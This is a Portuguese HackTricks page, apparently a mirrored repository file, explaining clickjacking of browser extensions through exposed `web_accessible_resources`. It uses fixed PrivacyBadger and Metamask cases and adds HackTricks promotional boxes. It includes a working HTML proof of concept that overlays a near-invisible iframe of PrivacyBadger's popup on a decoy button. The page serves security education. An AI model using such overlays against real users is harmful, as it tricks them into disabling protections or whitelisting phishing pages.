mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-30 06:53:11 +00:00
115 lines
6.2 KiB
Markdown
115 lines
6.2 KiB
Markdown
|
# BrowExt - ClickJacking
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Outras formas de apoiar o HackTricks:
|
||
|
|
||
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## Informações Básicas
|
||
|
|
||
|
Esta página vai explorar uma vulnerabilidade de ClickJacking em uma extensão de navegador.\
|
||
|
Se você não sabe o que é ClickJacking, confira:
|
||
|
|
||
|
{% content-ref url="../clickjacking.md" %}
|
||
|
[clickjacking.md](../clickjacking.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
Extensões contêm o arquivo **`manifest.json`** e esse arquivo JSON tem um campo `web_accessible_resources`. Veja o que [a documentação do Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources) diz sobre isso:
|
||
|
|
||
|
> Esses recursos estariam então disponíveis em uma página da web através da URL **`chrome-extension://[ID DO PACOTE]/[CAMINHO]`**, que pode ser gerada com o método **`extension.getURL`**. Recursos na lista de permissões são servidos com cabeçalhos CORS apropriados, então eles estão disponíveis através de mecanismos como XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||
|
|
||
|
Além de serem acessíveis pela web, os recursos no **`web_accessible_resources`** funcionam com a autoridade ambiente da extensão: eles podem alterar o estado, carregar outros recursos e modificar o navegador de certas maneiras. Se um documento em `web_accessible_resources` pode realizar qualquer comportamento interessante, um atacante pode incorporá-lo em uma página da web e enganar visitantes para ativá-lo.
|
||
|
|
||
|
## Exemplo do PrivacyBadger
|
||
|
|
||
|
Foi descoberto que na extensão PrivacyBadger, os conteúdos do diretório `skin/` eram `web_accessible_resources`:
|
||
|
```json
|
||
|
"web_accessible_resources": [
|
||
|
"skin/*",
|
||
|
"icons/*"
|
||
|
]
|
||
|
```
|
||
|
Ao carregar `skin/popup.html`, o documento que é renderizado quando você clica no ícone do PrivacyBadger no navegador, **em um iframe poderíamos enganar o usuário a clicar em "Desativar PrivacyBadger para este site"**, expondo o usuário a rastreamento adicional e comprometendo a função do PrivacyBadger. **Confira o exemplo de vídeo de ClickJacking em** [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)
|
||
|
|
||
|
A correção foi simples: **remover `/skin/*` dos `web_accessible_resources`**.
|
||
|
|
||
|
### PoC
|
||
|
```html
|
||
|
<style>
|
||
|
iframe {
|
||
|
width: 430px;
|
||
|
height: 300px;
|
||
|
opacity: 0.01;
|
||
|
float: top;
|
||
|
position: absolute;
|
||
|
}
|
||
|
|
||
|
#stuff {
|
||
|
float: top;
|
||
|
position: absolute;
|
||
|
}
|
||
|
|
||
|
button {
|
||
|
float: top;
|
||
|
position: absolute;
|
||
|
top: 168px;
|
||
|
left: 100px;
|
||
|
}
|
||
|
|
||
|
</style>
|
||
|
|
||
|
<div id="stuff">
|
||
|
<h1>
|
||
|
Click the button
|
||
|
</h1>
|
||
|
<button id="button">
|
||
|
click me
|
||
|
</button>
|
||
|
</div>
|
||
|
|
||
|
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
||
|
</iframe>
|
||
|
```
|
||
|
## Exemplo Metamask
|
||
|
|
||
|
Um [**post de blog sobre um ClickJacking no Metamask pode ser encontrado aqui**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Neste caso, o Metamask corrigiu a vulnerabilidade verificando se o protocolo usado para acessá-lo era **`https:`** ou **`http:`** (e não **`chrome:`**, por exemplo):
|
||
|
|
||
|
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
**Outro ClickJacking corrigido** na extensão do Metamask foi que os usuários podiam **Clicar para adicionar à lista branca** quando uma página era suspeita de ser phishing por causa de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como essa página era vulnerável a Clickjacking, um atacante poderia abusar dela mostrando algo normal para fazer a vítima clicar em adicionar à lista branca sem perceber, e depois voltar para a página de phishing que estaria na lista branca.
|
||
|
|
||
|
## Exemplo Steam Inventory Helper
|
||
|
|
||
|
Verifique a seguinte página para entender como um **XSS** em uma extensão de navegador foi combinado com uma vulnerabilidade de **ClickJacking**:
|
||
|
|
||
|
{% content-ref url="browext-xss-example.md" %}
|
||
|
[browext-xss-example.md](browext-xss-example.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## Referências
|
||
|
|
||
|
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Outras formas de apoiar o HackTricks:
|
||
|
|
||
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|